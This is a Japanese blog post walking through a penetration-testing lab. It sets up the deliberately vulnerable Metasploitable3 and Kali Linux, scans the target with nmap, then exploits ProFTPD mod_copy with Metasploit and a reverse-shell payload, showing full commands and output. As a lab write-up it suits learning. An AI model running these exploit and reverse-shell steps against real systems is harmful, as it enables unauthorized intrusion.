脆弱性のあるサーバーを簡単に立ててサイバー攻撃を体験したい

株式会社ピー・アール・オーのアドベントカレンダー13日目です。

普段はWEB開発メインでやってますが、個人的にセキュリティに興味があって勉強中です。

「セキュリティの考慮って大事だけど、実際どうやって攻撃すんの？？というのがわかっていると何かといいですよね（意訳）」というのはよく言われる話ですが、世の中には学習のためのツールがいろいろ揃っているので実際に勉強で使ってみたものをご紹介します。

# 脆弱性のあるサーバーを立てて攻撃体験

Metasploitable3はあえて脆弱性のある状態で構成された仮想マシンで、これを使って簡単に安全にハッキング体験を行なうことができます。
Metasploitable3はLinuxとWindowsの2種類のマシンが用意されていますが、今回はLinuxマシンから脆弱性を検出して実際に攻撃してみます。

ちなみに、Metasploit3の脆弱性一覧は下記にまとまっています。
https://github.com/rapid7/metasploitable3/wiki/Vulnerabilities

# お約束

本記事は不正アクセス等のサイバー攻撃を推奨するものではありません。
ここで紹介する内容を外部の環境に対して行わないでください。

# Metasploitable3構築

## 前提

- Windows 10
- Virtualboxインストール<br>
https://www.virtualbox.org/
- Vagrantインストール<br>
https://www.vagrantup.com/downloads

## インストール

github ( https://github.com/rapid7/metasploitable3 ) のQuick Startにしたがってインストールします。

```
mkdir metasploitable3-workspace
cd metasploitable3-workspace
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile" -OutFile "Vagrantfile"
vagrant up
```

結構時間がかかるので待ちます（1時間程）。

成功するとVirtualbox上に仮想マシンが２台作成されますが、今回はubuntuの方のみを使用します。

- Metasploitable3-ub1404
    - OS: Ubuntu14.04
- metasploitable3-win2k8（※今回は使いません）
    - OS: Windows2008

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/48ad8e74-ee60-80d6-6580-36aaa6114761.png)

## IPアドレスの確認
Metasploit3のIPアドレスはデフォルトで178.28.128.3が設定されています。
Metasploitable3を起動・ログインし、IPアドレスを確認します。

- Username: vagrant
- Password: vagrant

```
ifconfig
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/d45de5b4-c6f5-2257-1f67-98a8a7960149.png)

ちなみに、ホストOSのブラウザで下記にアクセスすると、次のようなWEBサイトが開きます。<br>
http://172.28.128.3:8080/continuum

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/a237f7d3-648a-ea1d-9804-384b73ca97c3.png)


# metasploitable3 を攻撃する

Metasploit3を攻撃するために、攻撃側の環境（Kali Linux）を構築します。
kali linuxはペネトレーションテストに用いられるLinuxディストリビューションであり、ハッキングのためのツールがデフォルトでインストールされています。
今回は下記のツールを使用していきますが、各ツールの説明は割愛します。

- Nmap<br>
https://nmap.org/man/ja/index.html
- Metasploit<br>
https://www.metasploit.com/

## Kali Linuxのインストール

公式ページからイメージをダウンロードしてきます。
https://www.kali.org/downloads/

今回は”Virtual Machines”からVirtualbox用64bitイメージをダウンロードして使用しています。
> kali-linux-2021.4-virtualbox-amd64.7z

ダウンロードしたファイルを解凍し、ovaファイルをダブルクリックなどVirtual Boxで開きます。
そのままデフォルトの設定でインポートします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/0165d85a-9bfb-e4cf-2250-e4cf5065cace.png)


インポートが完了したら仮想マシンを起動し、ログインする

- Username: kali
- Password: kali

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/ef4c3bb4-d08a-7c19-0fae-6de31b0ff485.png)


## Network設定

Metasploitable3とKali Linuxを同じネットワーク内に存在させます。

Metasploitable3に設定されている仮想LANアダプターをKali Linuxの２つ目のアダプターに設定します。

Metasploitable3のアダプター
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/7a20bd11-7f97-3d7a-bdba-24dadc00de03.png)
Kali Linuxのアダプター
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/210212/4f396373-fff7-26cb-59c2-0804a72b3dca.png)


## ポートスキャン

ネットワークの設定が終わったら、Kali LinuxからMetasploitable3を調べていきます。
まずは、nmapでどのポートが開いているか、どのようなサービスが動いているかを調査します。

### ターゲットのIP取得

-sPオプションをつけると、ポートスキャンをせずにPingスキャンを実行します。
ここでは、ホストオンリーアダプターのネットワーク内で稼働中のIPアドレスを列挙します。

```
┌──(kali㉿kali)-[~]
└─$ nmap -sn 172.28.128.1/24           
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-12 10:04 EST
Nmap scan report for 172.28.128.3
Host is up (0.0035s latency).
Nmap scan report for 172.28.128.4
Host is up (0.0016s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 16.15 seconds
```
上で確認したIPアドレス172.28.128.3にアクセスできることがわかります（172.28.128.4はKali Linux自身に設定したIPアドレスです）。

### ポート、サービスのバージョン、OSスキャン

次に、Metasploitable3で開いているポート番号と、使用しているサービスのバージョン、OSの種類を調べるため、次のオプションを使用します。
- -sV: 各ポートのサービスのバージョンを検出します。
- -O: ターゲットのOSを特定します。
- -p-: 1番から65535番までのポート番号を対象とします。

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -O -p- 172.28.128.3
[sudo] password for kali: 
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-12 10:27 EST
Nmap scan report for 172.28.128.3
Host is up (0.00084s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         ProFTPD 1.3.5
22/tcp   open   ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http        Apache httpd 2.4.7
445/tcp  open   netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp  open   ipp         CUPS 1.7
3000/tcp closed ppp
3306/tcp open   mysql       MySQL (unauthorized)
3500/tcp open   http        WEBrick httpd 1.3.1 (Ruby 2.3.8 (2018-10-18))
6697/tcp open   irc         UnrealIRCd
8080/tcp open   http        Jetty 8.1.7.v20120910
8181/tcp closed intermapper
MAC Address: 08:00:27:F6:73:09 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts: 127.0.1.1, UBUNTU, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 146.12 seconds
```

9つのポートが開いており、サービスが動いていることがわかりました。

## ProFTPD
### 脆弱性調査
ポートスキャンで見つかった1番上のサービスProFTPD 1.3.5について、CVE Details( https://www.cvedetails.com/ )やExploit-DB( https://www.exploit-db.com/ )で脆弱性がないか調べてみます。

https://www.cvedetails.com/cve/CVE-2015-3306/
https://www.exploit-db.com/exploits/37262

"mod_copy"というモジュールにリモートコマンド実行の脆弱性があることがわかりました。
ファイルシステムの任意の部分から選択した宛先にファイルをコピーできるため、悪意のあるコードをWebサイトディレクトリにコピーすることにより、リモートコード実行が可能になります。

また、Exploit-DBの検索結果から、Metasploitに攻撃プログラムが存在することもわかりました。

Metasploitの検索機能でも調べることが可能です。
MetasploitのDB初期化を行い、msfconsoleを起動します。

```
┌──(kali㉿kali)-[~]
└─$ sudo msfdb init
[sudo] password for kali: 
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ sudo msfconsole
                                                  

         .                                         .                                                                                         
 .                                                                                                                                           
                                                                                                                                             
      dBBBBBBb  dBBBP dBBBBBBP dBBBBBb  .                       o                                                                            
       '   dB'                     BBP                                                                                                       
    dB'dB'dB' dBBP     dBP     dBP BB                                                                                                        
   dB'dB'dB' dBP      dBP     dBP  BB                                                                                                        
  dB'dB'dB' dBBBBP   dBP     dBBBBBBB                                                                                                        
                                                                                                                                             
                                   dBBBBBP  dBBBBBb  dBP    dBBBBP dBP dBBBBBBP                                                              
          .                  .                  dB' dBP    dB'.BP                                                                            
                             |       dBP    dBBBB' dBP    dB'.BP dBP    dBP                                                                  
                           --o--    dBP    dBP    dBP    dB'.BP dBP    dBP                                                                   
                             |     dBBBBP dBP    dBBBBP dBBBBP dBP    dBP                                                                    
                                                                                                                                             
                                                                    .                                                                        
                .                                                                                                                            
        o                  To boldly go where no                                                                                             
                            shell has gone before                                                                                            
                                                                                                                                             

       =[ metasploit v6.1.14-dev                          ]
+ -- --=[ 2180 exploits - 1155 auxiliary - 399 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Metasploit can be configured at startup, see 
msfconsole --help to learn more

msf6 > 
```

Metasploitデータベースからproftpdに対する攻撃プログラムを検索します。

```
msf6 > search proftpd

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/linux/misc/netsupport_manager_agent  2011-01-08       average    No     NetSupport Manager Agent Remote Buffer Overflow
   1  exploit/linux/ftp/proftp_sreplace            2006-11-26       great      Yes    ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
   2  exploit/freebsd/ftp/proftp_telnet_iac        2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
   3  exploit/linux/ftp/proftp_telnet_iac          2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
   4  exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22       excellent  Yes    ProFTPD 1.3.5 Mod_Copy Command Execution
   5  exploit/unix/ftp/proftpd_133c_backdoor       2010-12-02       excellent  No     ProFTPD-1.3.3c Backdoor Command Execution


Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/ftp/proftpd_133c_backdoor

```

> exploit/unix/ftp/proftpd_modcopy_exec

上記がProPTFD 1.3.5攻撃のモジュールになります。

### 攻撃する

Metasploitのmsfconsoleを起動した状態でモジュールを選択し、必要なオプションを確認します。

```
msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       HTTP port (TCP)
   RPORT_FTP  21               yes       FTP port
   SITEPATH   /var/www         yes       Absolute writable website path
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path to the website
   TMPPATH    /tmp             yes       Absolute writable path
   VHOST                       no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   ProFTPD 1.3.5
```

RHOSTSとSITEPATHを設定します。

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 172.28.128.3
RHOSTS => 172.28.128.3
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html
```

利用可能なペイロードを調べます。

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > show payloads

Compatible Payloads
===================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_awk                             normal  No     Unix Command Shell, Bind TCP (via AWK)
   1  payload/cmd/unix/bind_perl                            normal  No     Unix Command Shell, Bind TCP (via Perl)
   2  payload/cmd/unix/bind_perl_ipv6                       normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   3  payload/cmd/unix/generic                              normal  No     Unix Command, Generic Command Execution
   4  payload/cmd/unix/reverse_awk                          normal  No     Unix Command Shell, Reverse TCP (via AWK)
   5  payload/cmd/unix/reverse_perl                         normal  No     Unix Command Shell, Reverse TCP (via Perl)
   6  payload/cmd/unix/reverse_perl_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   7  payload/cmd/unix/reverse_python                       normal  No     Unix Command Shell, Reverse TCP (via Python)
   8  payload/cmd/unix/reverse_python_ssl                   normal  No     Unix Command Shell, Reverse TCP SSL (via python)
```

7番目のpayload/cmd/unix/reverse_pythonを設定します。
このペイロードは、攻撃対象のサーバから攻撃サーバで待ち受けているポートに接続し制御を奪うプログラムです。

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set PAYLOAD payload/cmd/unix/reverse_python
PAYLOAD => payload/cmd/unix/reverse_python
```

unix/ftp/proftpd_modcopy_execを実行します。

```
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > exploit

[*] Started reverse TCP handler on 172.28.128.4:4444 
[*] 172.28.128.3:80 - 172.28.128.3:21 - Connected to FTP server
[*] 172.28.128.3:80 - 172.28.128.3:21 - Sending copy commands to FTP server
[*] 172.28.128.3:80 - Executing PHP payload /73jeZo6.php
[*] Command shell session 1 opened (172.28.128.4:4444 -> 172.28.128.3:57590 ) at 2021-12-12 13:09:31 -0500
```

これで、"73jeZo6.php"という悪意のあるコードがコピー・実行され、Kali Linuxから制御を奪うことができました。
下のコマンドでmetasploitable3-ub1404のマシンにwww-dataユーザーとして入り込めていることがわかります。

```
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
uname -n
metasploitable3-ub1404
```

# おわりに

今回は以上で終わりますが、まったく触れなかったWindowsサーバも含めMetasploitable3には大量の脆弱性があるので、まだまだやれることはたくさんありそうです。
本当は調べている中で知ったDVWA( https://dvwa.co.uk/ )なんかもいいなと思ったのですが時間の関係で触れず、機会があればそちらもご紹介できればと思います。


# 参考
https://techblog.securesky-tech.com/entry/2020/12/09/1
https://blog.kawa-xxx.jp/entry/2021/05/08/090000
https://note.com/rsec/n/n2d0eb77c8e77